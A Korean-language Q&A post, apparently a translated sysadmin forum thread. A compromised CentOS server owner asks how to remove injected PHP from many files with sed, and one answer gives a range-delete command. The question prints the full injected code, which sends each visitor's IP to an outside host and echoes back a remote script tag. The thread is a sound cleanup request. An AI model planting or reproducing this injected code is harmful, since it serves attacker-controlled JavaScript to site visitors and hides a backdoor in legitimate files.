SED 명령을 사용하여 여러 파일에서 삽입된 코드를 제거하는 방법은 무엇입니까?

SED 명령을 사용하여 여러 파일에서 삽입된 코드를 제거하는 방법은 무엇입니까?

내 Centos 6.5(64비트) 서버의 도메인이 손상되었습니다. public_html 폴더에서 탐지 스크립트를 실행한 후 이 코드 삽입이 있는 모든 파일을 식별했습니다.

SED 명령이 파일에서 코드를 제거하는 데 도움이 된다는 것을 알고 있지만 이전에는 해당 명령을 사용한 적이 없습니다. 어떤 구문을 사용해야 하는지에 대한 조언이 필요합니다. 아래에서 제거하려는 코드의 예를 참조하세요(감염된 각 파일의 동일한 코드):

    <?php
    #7968e7#
    if (empty($ywf)) {
error_reporting(0);
@ini_set('display_errors', 0);
if (!function_exists('__url_get_contents')) {
    function __url_get_contents($remote_url, $timeout)
    {
        if (function_exists('curl_exec')) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $remote_url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
            curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); //timeout in seconds
            $_url_get_contents_data = curl_exec($ch);
            curl_close($ch);
        } elseif (function_exists('file_get_contents') && ini_get('allow_url_fopen')) {
            $ctx = @stream_context_create(array('http' =>
                array(
                    'timeout' => $timeout,
                )
            ));
            $_url_get_contents_data = @file_get_contents($remote_url, false, $ctx);
        } elseif (function_exists('fopen') && function_exists('stream_get_contents')) {
            $handle = @fopen($remote_url, "r");
            $_url_get_contents_data = @stream_get_contents($handle);
        } else {
            $_url_get_contents_data = __file_get_url_contents($remote_url);
        }
        return $_url_get_contents_data;
    }
}
if (!function_exists('__file_get_url_contents')) {
    function __file_get_url_contents($remote_url)
    {
        if (preg_match('/^([a-z]+):\/\/([a-z0-9-.]+)(\/.*$)/i',
            $remote_url, $matches)
        ) {
            $protocol = strtolower($matches[1]);
            $host = $matches[2];
            $path = $matches[3];
        } else {
            // Bad remote_url-format
            return FALSE;
        }
        if ($protocol == "http") {
            $socket = @fsockopen($host, 80, $errno, $errstr, $timeout);
        } else {
            // Bad protocol
            return FALSE;
        }
        if (!$socket) {
            // Error creating socket
            return FALSE;
        }
        $request = "GET $path HTTP/1.0\r\nHost: $host\r\n\r\n";
        $len_written = @fwrite($socket, $request);
        if ($len_written === FALSE || $len_written != strlen($request)) {
            // Error sending request
            return FALSE;
        }
        $response = "";
        while (!@feof($socket) &&
            ($buf = @fread($socket, 4096)) !== FALSE) {
            $response .= $buf;
        }
        if ($buf === FALSE) {
            // Error reading response
            return FALSE;
        }
        $end_of_header = strpos($response, "\r\n\r\n");
        return substr($response, $end_of_header + 4);
    }
}

if (empty($__var_to_echo) && empty($remote_domain)) {
    $_ip = $_SERVER['REMOTE_ADDR'];
    $ywf = "http://www.sentinelproducts.com/message/FVkWXrCj.php";
    $ywf = __url_get_contents($ywf."?a=$_ip", 1);
    if (strpos($ywf, 'http://') === 0) {
        $__var_to_echo = '<script type="text/javascript" src="' . $ywf . '?id=108212681"></script>';
        echo $__var_to_echo;
    }
}
    }
    #/7968e7#
    ?>
    <?php

    ?>

이것은 상당히 큰 코드 블록이므로 많은 감염된 파일에서 이를 제거하는 방법을 알고 싶습니다. 일부 자바스크립트 파일도 해당 코드에 감염되는데, .php 파일에서 위 코드를 정리하는 방법을 알 수 있다면 명령어를 수정해 자바스크립트 파일을 정리할 수 있습니다.

답변1

먼저 백업을 하세요.

이렇게 하면 라벨 사이의 선이 제거됩니다.#7968e7#그리고#/7968e7#원본 파일은 .bkp 확장자로 유지되지만 백업해 두는 것이 좋습니다.

 sed -i.bkp '/#7968e7#/,/#\/7968e7#/ {d}'  filename  

빈 PHP 블록이 남습니다.

<?php
?>
<?php

?>

관련 정보